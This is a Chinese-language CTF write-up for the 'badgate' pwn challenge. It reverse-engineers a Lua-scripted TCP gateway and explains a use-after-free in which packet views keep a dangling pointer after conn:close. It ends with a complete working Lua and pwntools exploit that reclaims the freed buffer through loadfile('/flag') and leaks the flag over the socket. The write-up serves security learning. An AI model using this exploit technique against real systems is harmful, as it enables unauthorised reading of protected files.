badgate
这题保护全开
先把题目的核心逻辑看懂:
函数:main
- 作用:初始化 Lua 环境、注册 gateway API、读取脚本、执行脚本,若 gateway.run 被调用则开 TCP 服务并把每个连接交给 Lua handler。
- 调用链:main -> read_script -> gateway.run -> accept -> recv -> handler(conn, pkt)
int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(30);
L = lua_newstate(...);
register_libs(L, "_G", "math", "utf8");
register_metatable(L, "gateway.conn", conn_methods);
register_metatable(L, "gateway.pkt", pkt_methods);
register_gateway_table(L); // gateway.run
puts("[gw] input your script, end with a line containing only EOF");
if (read_script_and_load(L) != 0) error("script load failed");
if (_gateway_handler == NULL) error("gateway.run(function) was not called");
port = random_port(10000, 12000);
bind_listen("0.0.0.0", port);
printf("[gw] listening on %s:%u\n", "0.0.0.0", port);
close(0);
close(1);
while (1) {
fd = accept(listen_fd, NULL, NULL);
conn = calloc(1, 0x38); // fd, buffer_meta*, peer/local sockaddr, closed flag
meta = calloc(1, 0x20); // { data, len, cap=0x1000, gone_flag }
meta->data = malloc(0x1000);
conn->fd = fd;
conn->buf_meta = meta;
recv(fd, meta->data, meta->cap - 1, 0);
meta->len = recv_len;
meta->data[recv_len] = '\0';
lua_conn = newuserdata(8); // lua_conn[0] = conn
lua_pkt = newuserdata(0x18); // lua_pkt[0] = meta->data; lua_pkt[8] = 0; lua_pkt[0x10] = recv_len
call(_gateway_handler, lua_conn, lua_pkt);
lua_conn[0] = NULL;
cleanup_conn(conn); // 关闭 fd,释放 meta->data/meta/conn(视状态而定)
}
}
函数:read_script_and_load
- 作用:从 stdin 逐行读取 Lua 脚本,直到遇到 EOF\n、EOF\r\n 或 EOF\0,再调用 Lua loader。
int read_script_and_load(lua_State *L) {
char line[0x1000];
char *buf = NULL;
size_t cap = 0, len = 0;
while (fgets(line, 0x1000, stdin)) {
if (line == "EOF\n" || line == "EOF\r\n" || line == "EOF\0")
break;
append_realloc(&buf, &cap, line, strlen(line));
}
if (missing_EOF) {
puts("[gw] failed to read script from stdin: missing EOF terminator");
return -1;
}
if (luaL_loadbufferx(L, buf ? buf : "", len, "=stdin", NULL) != 0)
print("[gw] failed to load script: %s\n", lua_tostring(L, -1));
if (lua_pcall(L, 0, 0, 0) != 0)
print("[gw] failed to load script: %s\n", lua_tostring(L, -1));
}
函数:gateway.run
- 作用:检查第 1 个参数是 Lua function,把该 function 写入 registry/global _gateway_handler。
int gateway_run(lua_State *L) {
luaL_checktype(L, 1, LUA_TFUNCTION);
lua_settop(L, 1);
lua_setfield(L, REGISTRY_OR_GLOBAL, "_gateway_handler");
return 0;
}
函数:pkt:view(off, len)
- 作用:返回同一底层缓冲区的子视图 userdata。
- 关键点:边界检查覆盖负数和 off + len > pkt_len;但新 view 只复制裸 data 指针,不绑定 owner 生命周期。
int pkt_view(lua_State *L) {
pkt = checkudata(L, 1, "gateway.pkt");
off = luaL_checkinteger(L, 2);
len = luaL_checkinteger(L, 3);
if (pkt == NULL || pkt->data == NULL)
lua_error("buffer is gone");
if (off < 0 || len < 0 || pkt->len < off || pkt->len - off < len)
lua_error("view out of bounds");
view = lua_newuserdata(L, 0x18);
view->data = pkt->data; // 漏洞相关:裸指针复制
view->off = pkt->off + off;
view->len = len;
setmetatable(view, "gateway.pkt");
return 1;
}
函数:pkt:tostring()
- 作用:把 pkt->data + pkt->off、长度 pkt->len 复制成 Lua string。
int pkt_tostring(lua_State *L) {
pkt = checkudata(L, 1, "gateway.pkt");
if (pkt == NULL || pkt->data == NULL)
lua_error("buffer is gone");
lua_pushlstring(L, pkt->data + pkt->off, pkt->len);
return 1;
}
函数:pkt:write(off, data)
- 作用:把 Lua string 写入 pkt->data + pkt->off + off,返回写入长度。
int pkt_write(lua_State *L) {
pkt = checkudata(L, 1, "gateway.pkt");
off = luaL_checkinteger(L, 2);
src, n = luaL_checklstring(L, 3);
if (pkt == NULL || pkt->data == NULL)
lua_error("buffer is gone");
if (off < 0 || pkt->len < off || pkt->len - off < n)
lua_error("write out of bounds");
memcpy(pkt->data + pkt->off + off, src, n);
lua_pushinteger(L, n);
return 1;
}
函数:conn:close()
- 作用:关闭 socket;若连接还持有 buffer_meta 且未标记 gone,则释放 meta->data 并清空 meta 字段。
- 漏洞点:不会清空已经交给 Lua 的 pkt / view userdata 中的 data 裸指针。
int conn_close(lua_State *L) {
conn_ud = checkudata(L, 1, "gateway.conn");
conn = conn_ud->ptr;
if (conn == NULL || conn->closed) return 0;
close(conn->fd);
meta = conn->buf_meta;
conn->closed = 1;
if (meta != NULL && !meta->gone) {
free(meta->data);
meta->data = NULL;
meta->off = 0;
meta->len = 0;
meta->gone = 1;
}
return 0;
}
函数:conn:send(data)
- 作用:循环 send(fd, data, len, 0),返回发送字节数;连接关闭后抛 connection is closed。
int conn_send(lua_State *L) {
conn = check_conn(L, 1);
data, len = luaL_checklstring(L, 2);
if (conn == NULL || conn->closed)
lua_error("connection is closed");
while (sent < len) {
n = send(conn->fd, data + sent, len - sent, 0);
if (n <= 0) error(...);
sent += n;
}
lua_pushinteger(L, sent);
return 1;
}
结构体:conn_ud userdata(gateway.conn)
- Lua 栈对象,8 字节
- 作用:Lua 脚本访问的连接对象,内部保存指向
conn_struct的指针
struct conn_ud {
struct conn_struct *ptr; // +0x00: 指向 C heap 上的连接结构体
};
结构体:conn_struct userdata(C heap)
- 大小:0x38 bytes
- 作用:保存客户端连接信息、指向 pkt userdata、连接状态
struct conn_struct {
int fd; // +0x00: socket 文件描述符
struct pkt *pkt_ptr; // +0x08: 指向 Lua pkt userdata
int reserved1; // +0x10: 内部状态或占位
int reserved2; // +0x14: 内部状态或占位
void *reserved3; // +0x18
void *reserved4; // +0x20
int closed; // +0x28: 是否已关闭标志
int reserved5; // +0x2C: 对齐或其他状态
uint64_t reserved6; // +0x30
};
结构体:pkt userdata(gateway.pkt)
- Lua 栈对象,24 字节
- 作用:Lua 层操作接收数据 buffer
- C heap 分配:通过
lua_newuserdata创建,大小 24 bytes
struct pkt {
uint8_t *base; // +0x00: malloc 分配的数据缓冲区指针(0x1000 bytes)
uint64_t offset; // +0x08: 数据视图起始偏移(子视图时可能 >0)
uint64_t length; // +0x10: 当前有效数据长度(recv 返回值)
};
分析漏洞:
这里pkt:view是创建根据原来的pkt创建一个子视图,但是把原pkt指向的缓冲区的指针给子视图的时候采用的是直接把原指针给子视图
当有新的客户端连接时(accept() 成功),程序会做如下操作:
- C heap 分配连接结构体
ptr = calloc(1, 0x38); // conn_struct
- C heap 分配数据包结构体
ptr_2 = calloc(1, 0x20); // pkt userdata 内部结构
v14 = malloc(0x1000); // malloc buffer
*ptr_2 = v14; // pkt->base = malloc buffer
ptr_2[1] = 0; // pkt->offset = 0
ptr_2[2] = 4096; // pkt->length / capacity = 0x1000
- Lua userdata 创建
// Lua conn userdata
v17 = lua_newuserdata(L, 8);
*v17 = ptr; // conn_ud->ptr = conn_struct
lua_setfield(L, "gateway.conn");
// Lua pkt userdata
v19 = lua_newuserdata(L, 24);
*v19 = v14; // pkt->base = malloc buffer
v19[1] = 0; // offset
v19[2] = v15; // length
lua_setfield(L, "gateway.pkt");
看conn:close()的逻辑实际上:
- 释放 pkt userdata 内部的 buffer
- 清空 pkt userdata 内部的指针和长度
- 标记连接关闭
- 不释放 Lua userdata 本身,也不释放 conn_struct
也就是虽然pkt->*base置空了但是并没有管子视图的指针
也就是这时view->data还是指向已经free的data,也就是这里有一个UAF漏洞
然后我们就可以使用view:tostring和view:wirte对已经释放的buffer进行读写操作了
这里要用到lua里的loadfile函数,先了解一下loadfile:
Lua 官方文档描述:
loadfile([filename [, mode [, env]]])
-
作用:从指定文件中读取 Lua 代码,返回一个可执行的 Lua 函数(chunk)。
-
参数:
filename→ 文件路径,例如"/flag"mode→"b","t", 或"bt"(可选)env→ 环境表(可选)
-
返回值:
- 成功 → 返回 Lua 函数(closure),可以通过
pcall调用 - 失败 → 返回
nil和错误信息
- 成功 → 返回 Lua 函数(closure),可以通过
当我们调用:
f, err = loadfile("/flag")
Lua 内部大致流程:
-
打开文件:
FILE *fp = fopen(filename, "r"); -
分配临时缓冲区:
-
Lua 需要读文件内容到内存,然后编译成 Lua chunk
-
在 Lua 5.4 内核里:
char *buff = malloc(initial_chunk_size); -
这块缓冲区大小通常 4KB 或 8KB
-
-
读取文件到缓冲区:
size_t n = fread(buff, 1, size, fp);/flag文件内容被读进这块 buffer
-
编译 Lua chunk:
- 内部调用 Lua 编译器,把缓冲区内容解析成函数原型(Proto)
- 最终生成 closure 对象
- 临时 buffer 的内存可能会被保留在 Lua GC 管理的内存池中
-
返回 closure:
-
Lua 栈上放返回的函数对象
-
可以用:
ok, f = pcall(loadfile, "/flag")来安全捕获异常
-
从dockerfile里我们能看到:
chmod 740 /home/ctf/flag
说明ctf用户是可以读flag文件的
也就是说我们就可以直接用loadfile来直接读取flag了
那我们的思路就很明确了
我们先用pkt:view创建view,然后conn:close(),此时0x1000的buf被free了,然后我们loadfile("./flag"),此时会调用malloc作为放置读取的内容,也就是我们前面free的buf,然后我们再利用uaf,view:tostring读取buf的内容,我们就获得了flag了
我们先看lua的exp怎么写:
lua_exp = rb"""
local old_packet
local calls = 0
gateway.run(function(conn, pkt)
if calls == 0 then
old_packet = pkt:view(0, pkt:len())
conn:close()
loadfile('/flag')
calls = calls + 1
else
conn:send(old_packet:tostring())
conn:close()
end
end)
EOF
"""
main函数的流程是先读取并执行我们的lua脚本,然后检查if (_gateway_handler == NULL) error("gateway.run(function) was not called");
然后开始进行循环连接,每次连接都会执行call(_gateway_handler, lua_conn, lua_pkt);
所以我们保存子视图的指针的变量(old_packet)要放在_gateway_handler(function(conn,pkt))外面,不然每次连接都会重置,有点类似于全局变量的意思。
然后calls变量用来存我们的连接次数,因为我们第一次连接和第二次连接要执行的动作不一样,但是每次连接我们都只能执行同一个_gateway_handler函数,所以我们要在_gateway_handler函数里用if和else来区分每次连接要执行的操作。
由于main函数会检查gateway_handler == NULL,所以我们必须要调用gateway.run把我们定义的函数写进gateway_handler,这样gateway_handler里面就存着我们自己定义的函数:
function(conn, pkt)
if calls == 0 then
old_packet = pkt:view(0, pkt:len())
conn:close()
loadfile('/flag')
calls = calls + 1
else
conn:send(old_packet:tostring())
conn:close()
end
end
在第一次连接,我们用view功能创建一个子视图,把它的指针存在“全局变量”old_packet里,然后close释放buffer,此时产生了UAF,此时也会关闭socket,关闭第一次连接。
然后loadfile('/flag'),此时loadfile的malloc会复用free的buffer,此时buffer的开头就是flag
然后我们在第二次连接中old_packet:tostring(),这里old_packet指针指向的就是开头是flag的buffer,然后用conn:send输出出来
p1 = remote(host, worker_port)
p1.send(b"A" * 0x100)
p1.close()
p2 = remote(host, worker_port)
p2.send(b"B")
data = p2.recv(4096)
flag = re.search(rb'(?:AC|TF)\{.*?\}', data)
这里子视图的长度我们用的是pkt:len(),这个比硬编码好的地方是不会越界,但是用这个需要注意的是conn:send(old_packet:tostring())输出的长度是子视图长度也就是也是pkt:len(),pkt:len()是第一次连接发送的长度,这里我们要用一个长一点的保证能超过flag的长度,这里我们用的是0x100
这里实测发现第二次的buffer也会复用第一次连接被free的buffer,所以我们输入的"B"实际上会覆盖掉buffer开头放置的flag的第一个字节,这里我们知道flag头的格式所以无伤大雅。
EXP:
from pwn import *
context(os='linux', arch='amd64', bits=64)
context.terminal = ['tmux', 'splitw', '-h']
target = '127.0.0.1:9999'
debug = 0 if ('deoff' in sys.argv) else 1
error = 1 if ('error' in sys.argv) else 0
if debug:
context(log_level='debug')
if error:
context(log_level='error')
parts = target.replace(':', ' ').split()
host = parts[-2]
port = int(parts[-1])
use_ssl = '--ssl' in parts
p = remote(host, port, ssl=use_ssl, sni=host if use_ssl else None)
def s(data): return p.send(data)
def sa(delim, data): return p.sendafter(delim, data)
def sl(data): return p.sendline(data)
def sla(delim, data): return p.sendlineafter(delim, data)
def r(numb=4096): return p.recv(numb)
def ru(delim, drop=True):return p.recvuntil(delim, drop)
def rl(bool): return p.recvline(keepends=bool)
def ra(t=None): return p.recvall(timeout=t)
def rn(numb): return p.recvn(numb)
def cl(): return p.close()
def it(): return p.interactive()
def uc64(data): return u64(data.rjust(8, b'\x00'))
def uu64(data): return u64(data.ljust(8, b'\x00'))
def addr(off): return lg(hex(off), (ret := elf.address + off)) or ret
def cb(data): return data if isinstance(data, bytes) else str(data).encode()
def lg(name, data): return log.success(name + ': ' + (hex(data) if isinstance(data, int) else data.decode(errors='ignore') if isinstance(data, bytes) else str(data)))
def menu(idx, pmt=b'>'): return sla(pmt, str(idx).encode())
def bl(address): return (address).to_bytes(3, 'big')
def bt(*values): return bytes([v & 0xff for v in values])
def ntpie(leak, offset, name='PIE'): return setattr(elf, 'address', leak - (elf.sym[offset] if isinstance(offset, str) else offset)) or lg(name, elf.address)
def base(val, binary=elf): return binary.address + val
def fill(num, content=b'A'): return (content.encode() if isinstance(content, str) else content) * num
def se(s): return lg(s if isinstance(s, str) else f"bytes: {s.hex()}", (addr := next(elf.search(s if isinstance(s, bytes) else s.encode())))) or addr
def shn(target, current_printed): return [((target & 0xffff) - current_printed) % 0x10000, current_printed + (((target & 0xffff) - current_printed) % 0x10000)]
def shhn(target, current_printed): return [((target & 0xff) - current_printed) % 0x100, current_printed + (((target & 0xff) - current_printed) % 0x100)]
def ga(delim=b'|', name='Leak', data=None):
target_data = p.recv(data) if isinstance(data, int) else (data if data else ru(delim))
if isinstance(target_data, str):
target_data = target_data.encode()
hex_list = re.findall(b'0x[0-9a-fA-F]+', target_data)
return [lg(f'{name}[{i}]', x) or x for i, x in enumerate([int(a, 16)for a in hex_list])]
#################################################################################
ru(b"EOF")
lua_exp = rb"""
local old_packet
local calls = 0
gateway.run(function(conn, pkt)
if calls == 0 then
old_packet = pkt:view(0, pkt:len())
conn:close()
loadfile('/flag')
calls = calls + 1
else
conn:send(old_packet:tostring())
conn:close()
end
end)
EOF
"""
sl(lua_exp)
ru(b"listening on 0.0.0.0:")
worker_port = int(r(5))
p1 = remote(host, worker_port)
p1.send(b"A" * 0x100)
p1.close()
p2 = remote(host, worker_port)
p2.send(b"B")
data = p2.recv(4096)
flag = re.search(rb'(?:AC|TF)\{.*?\}', data)
if flag:
print(flag.group())
题目附件:CTF-Writeups/ACTF 2026/badgate at main · Zenquiem/CTF-Writeups